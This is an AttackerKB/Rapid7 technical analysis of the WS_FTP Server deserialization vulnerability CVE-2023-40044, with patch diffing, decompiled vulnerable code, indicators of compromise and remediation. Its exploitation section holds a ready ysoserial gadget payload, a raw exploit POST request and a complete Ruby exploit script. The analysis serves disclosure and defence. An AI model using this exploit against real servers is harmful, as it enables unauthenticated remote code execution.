Very High
CVE-2023-40044
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)Very High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
In WS_FTP Server versions prior to 8.7.4 and 8.8.2, a pre-authenticated attacker could leverage a .NET deserialization vulnerability in the Ad Hoc Transfer module to execute remote commands on the underlying WS_FTP Server operating system.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Based on our Rapid7 Analysis, the attacker value for this vulnerability is very high due to the target software being a file transfer solution. The exploitability rating for this vulnerability is also very high as it is trivially exploitable with a single HTTP(S) POST request by an unauthenticated attacker.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Vendors
- Progress Software Corporation
Products
- WS_FTP Server
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/10/05/cisa-adds-three-known-exploited-vulnerabilities-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Miscellaneous
Additional Info
Technical Analysis
Overview
On September 27, 2023, Progress Software disclosed CVE-2023-40044, a .NET deserialization vulnerability affecting the Ad Hoc Transfer module of WS_FTP Server, a secure file transfer product. The vulnerability, which was originally discovered by Assetnote, is trivially exploitable and allows an unauthenticated attacker to achieve RCE on the target system.
NIST have assigned a CVSS base score of 8.8, whilst Progress Software have assigned a CVSS base score of 10. The difference in these two scores arises from NIST’s determination that the privileges required (PR) for exploitation are low
instead of non-existent (i.e., that an attacker must already possess some level of existing privilege in order to carry out an attack). We did not observe this requirement during our analysis of the vulnerability — we verified that an attacker can exploit CVE-2023-40044 fully unauthenticated. We believe the correct scoring for this vulnerability would be 9.8.
The following versions of the software are affected if the Ad Hoc Transfer module is enabled:
- 2022.0.1 (8.8.1)
- 2022.0 (8.8.0)
- 2020.0.0 (8.7.0)
- 2020.0.1 (8.7.1)
- 2020.0.2 (8.7.2)
- 2020.0.3 (8.7.3)
Diffing
We installed an older version of WS_FTP Server (2020.0.1
) and the patched version of the software (2022.0.2
). As the advisory notes, the vulnerable component is in the Ad Hoc Transfer (AHT) module, which is installed by default. This is a .NET module that runs in a Microsoft Internet Information Server (IIS) instance, and is accessible by default over HTTPS on port 443. The binaries are located in the C:\Program Files (x86)\Progress\WS_FTP Server\Ad Hoc Transfer\AHT\Bin
folder. Decompiling all the binaries to .NET source code via the dotPeek
tool, we can begin to inspect them using a diffing tool BeyondCompare
. We identified a suspicious change in the class FileUploadLibrary.dll!MyFileUpload.FormStream
, as shown below.
We can see the CheckForActionFields
method has been changed to remove a suspicious call to UploadManager.Instance.DeserializeProcessor
. Inspecting MyFileUpload.UploadManager.DeserializeProcessor
, we can see the entire functionality has been removed in the latest version of the software.
Of note is the use of the unsafe deserialization method BinaryFormatter.Deserialize
, which is known to be exploitable if an attacker can provide arbitrary attacker-controlled data.
The Vulnerability
The CheckForActionFields
method tries to extract an HTTP multipart form field that begins with a tag value ::AHT_DEFAULT_UPLOAD_PARAMETER::
. The data after this tag value is then deserialized via UploadManager.DeserializeProcessor
. We can also note that using a tag value of ::AHT_UPLOAD_PARAMETER::
will also reach the same unsafe deserialization code path.
namespace MyFileUpload { internal class FormStream : Stream, IDisposable { private void CheckForActionFields() // <--- { byte[] array = this._currentField.ToArray(); string result1 = string.Empty; int boundaryPos = this.IndexOf(array, this.BOUNDARY); if (!this.TryParseActionField(this.ID_TAG, array, out result1, boundaryPos)) { string result2 = string.Empty; if (this.TryParseActionField(this.DEFAULT_PARAMS_TAG, array, out result2, boundaryPos)) // <--- ::AHT_DEFAULT_UPLOAD_PARAMETER:: { this._defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.DEFAULT_PARAMS_TAG.Length)); // <--- unsafe deserialization this._processor = this._defaultProcessor; this._currentField = new MemoryStream(); } else if (this.TryParseActionField(this.PARAMS_TAG, array, out result2, boundaryPos)) // <--- ::AHT_UPLOAD_PARAMETER:: { this._processor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.PARAMS_TAG.Length)); // <--- unsafe deserialization this._currentField = new MemoryStream(); } // ...snip... } } internal IFileProcessor DeserializeProcessor(string input) { BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serializationStream1 = new MemoryStream(Convert.FromBase64String(input)); SettingsStorageObject settingsStorageObject = (SettingsStorageObject) binaryFormatter.Deserialize((Stream) serializationStream1); // <--- unsafe deserialization // ...snip... } private FormStream.SectionResult ProcessField(byte[] bytes, int pos) { int nextOffset1 = -1; if (pos < bytes.Length - 1) { nextOffset1 = this.IndexOf(bytes, this.BOUNDARY, pos + 1); if (nextOffset1 != -1 && this._inFile) nextOffset1 -= 2; } if (nextOffset1 >= 0) { this.WriteBytes(this._inFile, bytes, pos, nextOffset1 - pos); if (!this._inFile) // <--- must be false this.CheckForActionFields(); // <--- reach the vulnerable code
To reach the CheckForActionFields
method, we must be able to call the method MyFileUpload.FormStream.ProcessField
, which is called by FormStream.Write
. The Write
method will iterate over the HTTP form data, by first searching for the form data’s boundary string, then the headers for that field are parsed via ParseHeader
. Notably the member variable this._inField
will be set to true. This will later allow us to call ProcessField
. After the headers are parsed, if they do not contain the header values filename
and Content-Disposition
, then the member variable this._inFile
will be set to false. This is important — as we can note from the ProcessField
source code above, we can only call CheckForActionFields
if _inFile
is false.
namespace MyFileUpload { internal class FormStream : Stream, IDisposable { public override void Write(byte[] bytes, int offset, int count) { int num1 = 0; byte[] numArray; if (this._buffer != null) { numArray = new byte[this._buffer.Length + count]; Buffer.BlockCopy((Array) this._buffer, 0, (Array) numArray, 0, this._buffer.Length); Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, this._buffer.Length, count); } else { numArray = new byte[count]; Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, 0, count); } this._position += (long) count; int srcOffset; int num2; FormStream.SectionResult sectionResult; do { if (this._headerNeeded) { srcOffset = num1; num2 = this.IndexOf(numArray, this.BOUNDARY, num1); if (num2 >= 0) { if (this.IndexOf(numArray, this.EOF, num2) != num2) { int num3 = this.IndexOf(numArray, this.EOH, num2); if (num3 >= 0) { this._inField = true; // <--- this._headerNeeded = false; Dictionary<string, string> header = this.ParseHeader(numArray, num2); if (header != null) { if (header.ContainsKey("filename") && header.ContainsKey("Content-Disposition")) // <--- must not be set { string fileName = header["filename"].Trim('"').Trim(); if (!string.IsNullOrEmpty(fileName)) { try { this._fileName = header["filename"].Trim('"'); this._inFile = true; string contentType = !header.ContainsKey("Content-Type") ? "application/octet-stream" : header["Content-Type"]; this.fileProccessingEnded = false; object identifier = this._processor.StartNewFile(fileName, contentType, header, this._previousFields); this.OnFileStarted(fileName, identifier); } catch (Exception ex) { this._fileError = true; this.OnError(ex); } } } else { this._inFile = false; // <--- we need _inFile = false this._currentField = new MemoryStream(); this._currentFieldName = header["name"]; } num1 = num3 + 4; } else goto label_9; } else goto label_17; } else goto label_6; } else goto label_18; } if (this._inField) // <--- { this._buffer = (byte[]) null; sectionResult = this.ProcessField(numArray, num1); // <---
The Write
method will be called by UploadModule.Context_AcquireRequestState
. The module MyFileUpload.UploadModule
contains an IIS event handler AcquireRequestState
which will call Context_AcquireRequestState
when a new HTTPS request is processed.
namespace MyFileUpload { public class UploadModule : IHttpModule { public void Init(HttpApplication context) { context.AcquireRequestState += new EventHandler(this.Context_AcquireRequestState); // <--- context.BeginRequest += new EventHandler(this.Context_BeginRequest); } private void Context_AcquireRequestState(object sender, EventArgs e) { // ...snip... string boundary = "--" + knownRequestHeader.Substring(knownRequestHeader.IndexOf("boundary=") + "boundary=".Length); using (FormStream formStream = new FormStream(this.GetProcessor(), boundary, app.Request.ContentEncoding)) { formStream.FileCompleted += new FileEventHandler(this.fs_FileCompleted); formStream.FileCompletedError += new FileErrorEventHandler(this.fs_FileCompletedError); formStream.FileStarted += new FileEventHandler(this.fs_FileStarted); formStream.Error += new ErrorEventHandler(this.OnTransactionAborted); this._context = app.Context; long bytes = 0; if (workerRequest.GetPreloadedEntityBodyLength() > 0) { byte[] preloadedEntityBody = workerRequest.GetPreloadedEntityBody(); formStream.Write(preloadedEntityBody, 0, preloadedEntityBody.Length); // <---
Examining the file C:\Program Files (x86)\Progress\WS_FTP Server\Ad Hoc Transfer\AHT\web.config
, which is responsible for configuring the WS_FTP Ad-Hoc Transfer application in IIS, we can see the module MyFileUpload.UploadModule
is loaded into IIS.
<httpModules> <add name="extend_session_module" type="AHT.Main.ExtendUserSessionModule" /> <add name="upload_module" type="MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0" /> </httpModules>
We can now speculate that the module UploadModule
will pre-process all incoming HTTP(S) requests that are trying to upload a file. If we can specify a malicious HTTP form field with an expected tag string of either ::AHT_DEFAULT_UPLOAD_PARAMETER::
or ::AHT_UPLOAD_PARAMETER::
, we will be able to deserialize an arbitrary .NET object and achieve unauthenticated RCE.
Exploitation
We can exploit this vulnerability with a single HTTPS POST request to any URI in the Ad Hoc Transfer module. These URI’s begin with the path /AHT/
. We generate a suitable .NET deserialization gadget with the tool ysoserial.net as follows. Note, we choose notepad.exe
as the gadget’s command to execute during deserialization.
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c notepad.exe
The POST request we want to send will look as follows:
POST /AHT/ HTTP/1.1 Host: 192.168.86.42:8080 User-Agent: foo Accept: */* Content-Length: 1303 Content-Type: multipart/form-data; boundary=aeeydaqs --aeeydaqs name: hax ::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs= --aeeydaqs–
We can easily script this with some Ruby.
require 'optparse' require 'socket' require 'openssl' def log(txt) $stdout.puts txt end def rand_string(len) (0...len).map {'a'.ord + rand(26)}.pack('C*') end def send_http_data(ip, port, data) socket = TCPSocket.open(ip, port) ctx = OpenSSL::SSL::SSLContext.new ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE) ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx).tap do |s| s.sync_close = true s.connect end ssl_socket.write(data) result = '' while line = ssl_socket.gets result << line break if line == "\r\n" end ssl_socket.close return result end def hax(ip, port) # ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c notepad.exe gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=" boundary = rand_string(8) txt = "--#{boundary}\r\n" txt << "name: hax\r\n" txt << "\r\n" txt << "::AHT_DEFAULT_UPLOAD_PARAMETER::#{gadget}\r\n" txt << "--#{boundary}--\r\n\r\n" body = "POST /AHT/ HTTP/1.1\r\n" body << "Host: #{ip}:#{port}\r\n" body << "User-Agent: foo\r\n" body << "Accept: */*\r\n" body << "Content-Length: #{txt.bytesize}\r\n" body << "Content-Type: multipart/form-data; boundary=#{boundary}\r\n" body << "\r\n" body << txt result = send_http_data(ip, port, body) p result return true end options = {} OptionParser.new do |opts| opts.banner = "Usage: ws_ftp_hax.rb [options]" opts.on("-t", "--target TARGET", "Target IP") do |v| options[:ip] = v end opts.on("-p", "--port PORT", "Target Port") do |v| options[:port] = v.to_i end end.parse! unless options.key? :ip log '[-] Error, you must pass a target IP: -t TARGET' return end unless options.key? :port log '[-] Error, you must pass a target port: -p PORT' return end log "[+] Starting..." log "[+] Targeting: #{options[:ip]}:#{options[:port]}" hax(options[:ip], options[:port]) log "[+] Finished."
And run it against our target system.
>ruby ws_ftp_hax.rb -t 192.168.86.47 -p 443
Finally, we can observe that we have spawned the notepad.exe
application as a child of the IIS worker process w3wp.exe
, and with the user account NT AUTHORITY\NETWORK SERVICE
.
Indicators of Compromise
As the vulnerable application runs as an IIS module, we can inspect the IIS logs. An example of a successful exploitation attempt is shown below.
2023-09-29 15:17:53 192.168.86.47 POST /AHT/ - 443 - 192.168.86.50 foo - 302 0 0 30
We can note the presence of a POST request to a path that begins with /AHT/
.
Remediation
To remediate this issue, you should update to a fixed version via a vendor-supplied patch as soon as possible:
- 2022.0.2 (8.8.2)
- 2020.0.4 (8.7.4)
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: